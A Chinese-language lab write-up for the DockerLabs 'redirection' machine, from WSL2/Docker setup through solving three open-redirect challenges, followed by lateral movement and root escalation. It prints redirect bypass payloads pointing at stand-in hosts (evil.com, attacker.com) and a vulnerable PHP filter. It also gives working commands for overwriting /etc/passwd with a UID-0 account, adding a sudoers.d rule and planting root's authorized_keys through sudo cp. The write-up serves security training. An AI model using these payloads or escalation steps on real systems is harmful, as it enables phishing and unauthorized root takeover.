DockerLabs — redirection writeup
平台:DockerLabs.es
作者:El Pingüino de Mario 社群 環境:WSL2 Kali Linux
〇、前言
這是本站 DockerLabs 系列的第一篇,因此把環境架設完整記錄下來,後續靶機都沿用同一套流程,不再重複,DockerLabs 是西班牙的資安練習平台,靶機以 Docker 容器打包(.tar 映像 + auto_deploy.sh 部署腳本),相較於 VulnHub 的 .ova(需要 libvirt/KVM 或 VMware)輕量很多,部署以秒計。
redirection 這台的教學主軸是 Open Redirect,三個 lab 從無防護一路到 parse_url 誤用,循序漸進,但它並非純 web 教學靶 —— 通過 web 挑戰拿到官方 SSH 憑證後,還藏了一條「橫向移動 + 提權」的完整鏈,是很好的入門一條龍教材。
一、環境架設(WSL2 + Docker)
1.1 啟動 Docker daemon
WSL2 預設沒有 systemd(除非在 /etc/wsl.conf 開啟),因此啟動 Docker 用 service:
sudo service docker start # 沒 systemd 用這個
# 或 sudo systemctl start docker (有開 systemd 才用)
docker info | head # 確認 daemon 存活
1.2 部署方式
官方標準流程(auto_deploy.sh)
解壓後會得到一個 .tar 映像與一支 auto_deploy.sh,腳本會自動 docker load 並啟動容器,前景 hang 住並印出容器 IP,結束時按 Ctrl+C 一鍵清除整個環境:
unzip redirection.zip -d redirection && cd redirection
ls -al # auto_deploy.sh + redirection.tar
sudo bash auto_deploy.sh redirection.tar # 佔住前景,另開分頁攻擊
1.3 WSLg GUI 體驗優化
全程在 Kali 內打的話,用 WSLg 直接開圖形化瀏覽器最省事,幾個必要調整:
sudo apt install -y firefox-esr fonts-noto-cjk fonts-noto-color-emoji
WSL2 沒有原生 NVIDIA Vulkan(缺 Mesa dzn driver),只有 llvmpipe(CPU 軟體渲染),Firefox 預設嘗試 GPU 加速容易花屏,需強制軟體渲染;4K 螢幕還要放大縮放。把這行寫進 ~/.bashrc(注意是 bash 不是 zsh):
alias ff='GDK_SCALE=3 LIBGL_ALWAYS_SOFTWARE=1 MOZ_ENABLE_WAYLAND=1 firefox-esr'
之後 ff http://172.17.0.4 就能開啟放大且穩定的 Firefox,字型/內容再不夠大,可在 about:config 調 layout.css.devPixelsPerPx。
二、偵查
先確認主機存活與服務:
ping -c1 172.17.0.4
nmap -p- --min-rate 5000 -sS -n -Pn -vvv 172.17.0.4
結果與 docker inspect 推得的一致:80/tcp(Apache 2.4.62 Debian) 與 22/tcp(OpenSSH)。
瀏覽 http://172.17.0.4/,首頁是西班牙文的 Open Redirect 實驗室說明,並提示三個關卡入口 /laboratorio1、/laboratorio2、/laboratorio3,以及一段警語:
「請只在完成前面所有挑戰後才用這組帳密登入 SSH,否則上傳的 Writeup 不予採計。使用者:balu/ 密碼:balulero」
這組憑證是破關後的驗證獎勵,正規玩法要靠 Open Redirect 自力打穿,先擱著。
三、Open Redirect 三關
Laboratorio 1 — 無防護
抓首頁 HTML,注意 Apache 的 301 目錄跳轉(請求無尾斜線會被導向帶尾斜線版本),要對 /laboratorio1/ 抓:
curl -s http://172.17.0.4/laboratorio1/ | grep -iE 'href|url|redirect|<a'
# <a href="redirect.php?url=http://google.com">Ir a otro sitio</a>
跳轉目的地寫在 url 參數裡,且完全由使用者控制 —— 教科書級的 Open Redirect 入口,驗證:
curl -s -I "http://172.17.0.4/laboratorio1/redirect.php?url=http://example.com"
HTTP/1.1 302 Found
Location: http://example.com ← 照單全收,零驗證
Lab 1 破解,危害在於釣魚:攻擊者可構造 http://信任網域/redirect.php?url=http://釣魚站,受害者看到熟悉的網域開頭便信任並點擊,卻被無聲導向仿冒頁;這也是繞過 OAuth/SSO redirect_uri 白名單的常見前置。
Laboratorio 2 — 前綴比對繞過
標題變成 Restricted Redirect Example,預設值改為 https://www.google.com,以三發探針反推過濾邏輯:
# 送出 → 結果
url=http://example.com → 200(擋)
url=http://google.com.evil.com → 200(擋)
url=https://www.google.com.attacker.com → 302(過!)
| # | payload | 結果 | 解讀 |
|---|---|---|---|
| 1 | http://example.com |
200 擋 | 外部站被拒 |
| 2 | http://google.com.evil.com |
200 擋 | 光有 google 字樣不夠 |
| 3 | https://www.google.com.attacker.com |
302 過 | 以完整 https://www.google.com 開頭 → 破口 |
過濾規則 = 「是否以 https://www.google.com 開頭(前綴比對)」,錯在只看前綴、不管後面接什麼:
https://www.google.com.attacker.com
└──── 通過檢查的前綴 ────┘└─ 真正主域 attacker.com ─┘
同一破口另一條獨立路徑是 @ 混淆(userinfo 技巧),兩者皆通:
url=https://www.google.com.evil.com/phish → 302(可帶完整釣魚路徑)
url=https://[email protected] → 302(@ 前為 userinfo,實連 evil.com)
Lab 2 破解,@ 混淆務必記牢 —— 瀏覽器把 @ 之前當使用者資訊丟棄,真正連的是 @ 之後的主機,人眼卻誤以為是開頭的可信域。
Laboratorio 3 — parse_url + strpos 誤用
標題與預設連結和 Lab 2 相同,過濾邏輯藏在 redirect.php 內部,黑箱探測:
| payload | 結果 | 現象 |
|---|---|---|
http://example.com |
200 擋 | 外部站被拒 |
https://www.google.com.evil.com |
302 過 | 前綴類繞過仍有效 |
https://[email protected] |
200 擋 | @ 這條被擋下 |
//evil.com |
200 擋 | 協定相對被擋 |
https://www.google.com%40evil.com |
200 擋 | %40 未被解碼回 @ |
拿到 root 後(見後文)回頭讀原始碼,白箱驗證推論:
<?php
$allowed_domain = 'google.com';
$url = isset($_GET['url']) ? $_GET['url'] : '';
$parsed_url = parse_url($url);
// 不安全的驗證:只要 host 「包含」 google.com 子字串就放行
if (isset($parsed_url['host']) && strpos($parsed_url['host'], $allowed_domain) !== false) {
header("Location: $url");
exit();
} else {
echo "Redirección no permitida. Solo puedes redirigirte a Google.";
}
?>
真相比黑箱推測更精妙:Lab 3 正確用了 parse_url() 解析 host(做對了一半),卻栽在 strpos($host, 'google.com') !== false 這個「子字串包含」比對上,對照每個現象:
| payload | parse_url 得到的 host |
host 是否含 google.com |
結果 |
|---|---|---|---|
www.google.com.evil.com |
www.google.com.evil.com |
✅ | 302 過 |
[email protected] |
evil.com |
❌ | 200 擋 |
//evil.com |
無 host | — | 200 擋 |
www.google.com%40evil.com |
evil.com(解碼後) |
❌ | 200 擋 |
@ 之所以被擋,不是因為進了黑名單,而是 parse_url 正確把 evil.com 認成 host,而其中不含 google.com 子字串,既然是「包含即可」,google.com 藏在 host 任意位置都能繞:
url=http://google.com.attacker.com → host = google.com.attacker.com(含子字串,過)
url=http://evilgoogle.com.attacker.io → host 含 "google.com",實連 attacker.io(過)
Lab 3 破解,教訓:解析對了 ≠ 安全 —— parse_url 用對,卻毀在 strpos 的模糊比對。
四、SSH 立足點
三關全破,名正言順使用官方憑證:
ssh [email protected] # 密碼 balulero
id # uid=1000(balu) gid=1000(balu) groups=1000(balu),100(users)
sudo -l # balu 不在 sudoers
balu 家目錄僅預設 dotfiles,無 flag。
五、橫向移動:balu → balulito
枚舉發現系統有第二個使用者 balulito,且 balu 對根目錄的備份檔有讀寫權:
ls -al /home
# drwx------ balulito ← 另一個使用者,家目錄 700
find / -perm -4000 -type f 2>/dev/null # SUID 全為系統標配,無可利用者
find / -type f -writable 2>/dev/null | grep -vE '^/(proc|sys)'
# /secret.bak ← 根目錄的可疑備份檔
讀取 /secret.bak,直接是明文憑證:
cat /secret.bak
# balulito:balulerochingon
切換使用者:
su balulito # 密碼 balulerochingon
六、提權:balulito → root
換身份後重新枚舉,balulito 有一條 sudo 規則:
sudo -l
# User balulito may run the following commands:
# (ALL) NOPASSWD: /bin/cp
balulito 可以 root 權限、免密碼執行 cp,這是 GTFOBins 上的經典提權原語 —— 「以 root 任意寫檔」等於能改寫任何關鍵系統檔。至少三條路徑可達 root:
路徑 A — 覆寫 /etc/passwd(最穩,不需先讀原檔)
# 產生帶密碼 hash 的 UID=0 帳號行,附加後蓋回
openssl passwd -1 -salt xyz pwned # 得到 $1$xyz$...
cp /etc/passwd /tmp/passwd
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /tmp/passwd
sudo /bin/cp /tmp/passwd /etc/passwd
su hacker # 密碼 pwned → uid=0
路徑 B — 追加 sudoers 規則
⚠️ /etc/sudoers 預設 0440,balulito 讀不到,直接 cp 原檔會失敗,且直接覆蓋整個 /etc/sudoers 會清掉原規則,正式環境極危險,應改寫 /etc/sudoers.d/。乾淨的一行寫法:
echo 'balulito ALL=(ALL) NOPASSWD: ALL' | sudo /bin/cp /dev/stdin /etc/sudoers.d/pwn
sudo su -
路徑 C — 植入 root 的 authorized_keys
ssh-keygen -f key -N ''
sudo /bin/cp key.pub /root/.ssh/authorized_keys
ssh -i key [email protected]
執行後取得 root:
whoami # root
id # uid=0(root)
本文為在授權的本地練習環境(DockerLabs)中進行的資安教育記錄,請勿將相關技術用於未經授權的系統。
Member discussion